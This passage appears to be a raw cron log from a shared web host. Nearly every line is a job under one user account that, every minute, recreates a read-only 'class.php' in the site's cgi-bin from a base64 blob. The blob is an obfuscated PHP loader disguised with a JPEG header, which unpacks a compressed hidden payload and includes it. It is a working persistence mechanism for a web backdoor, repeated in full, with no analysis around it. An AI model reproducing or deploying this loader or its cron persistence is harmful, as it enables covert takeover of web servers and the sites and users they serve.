g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:44:01 server CROND[29122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:45:01 server CROND[29176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:45:01 server CROND[29177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:45:01 server CROND[29178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:46:01 server CROND[29288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:47:01 server CROND[29359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:48:01 server CROND[29421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:49:01 server CROND[29607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:50:01 server CROND[29665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:50:01 server CROND[29666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 12:50:01 server CROND[29667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:50:01 server CROND[29668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:50:01 server CROND[29672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:51:01 server CROND[29813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:52:01 server CROND[29862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:53:01 server CROND[29924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:54:01 server CROND[30074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:55:01 server CROND[30131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:55:01 server CROND[30133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:55:01 server CROND[30132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:56:01 server CROND[30240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:57:01 server CROND[30302]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 12:57:01 server CROND[30303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 